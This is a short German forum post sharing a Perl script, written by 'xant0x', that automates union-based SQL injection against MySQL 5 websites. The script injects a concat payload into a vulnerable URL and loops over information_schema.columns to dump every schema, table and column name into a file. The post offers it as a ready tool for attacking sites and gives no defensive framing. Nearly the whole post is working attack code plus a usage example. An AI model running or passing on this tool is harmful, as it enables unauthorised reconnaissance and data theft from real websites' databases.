Ich habe ein kleines Programm in Perl geschrieben, das euch bei SQL Injections hilft. Es ist noch relativ ausbaubar....
Wenn ihr also eine SQL Injection mit der Version 5 habt und alle Tabellen und Columns Namen speichern wollt, so könnt ihr dieses Programm verwenden:
Code:
#!/usr/bin/perl
# Written by xant0x
use LWP::UserAgent;
my $uA = LWP::UserAgent->new;
usage();
$page = $ARGV[0];
$filename = $ARGV[1];
print "\n";
die("[-] Invalid usage!\n")unless($filename);
$page =~ s/l33t/concat(CHAR(108,51,51,116),concat_ws(0x3a,table_schema,table_name,column_name),CHAR(108,51,51,116))/;
for($i=0; ; $i++)
{
my $final = "http://".$page."+from+information_schema.columns+limit+".$i.",1+--+";
my $attack = $uA->get($final);
die("[~] End ... \n")unless($attack->content =~ m/l33t(.*?):(.*?):(.*?)l33t/i);
my $dance = $1.":".$2.":".$3."\n";
open(file, ">>".$filename);
print $dance;
print file $dance;
}
close (file);
sub usage()
{
print q
{
################################################
MySQL 5 information_schema.columns Extractor
- Written by xant0x -
################################################
Usage: info_schema.pl [Page with Injection] [Filename]
Sample: perl info_schema.pl www.site.com/page.php?id=-666+union+select+1,l33t,3,4,5,6 site_columns.txt
# l33t is the column which appears on the page
};
}
#eof
Achja, entschuldigt mich bitte für das Englisch ^^
Feedback ist erwünscht!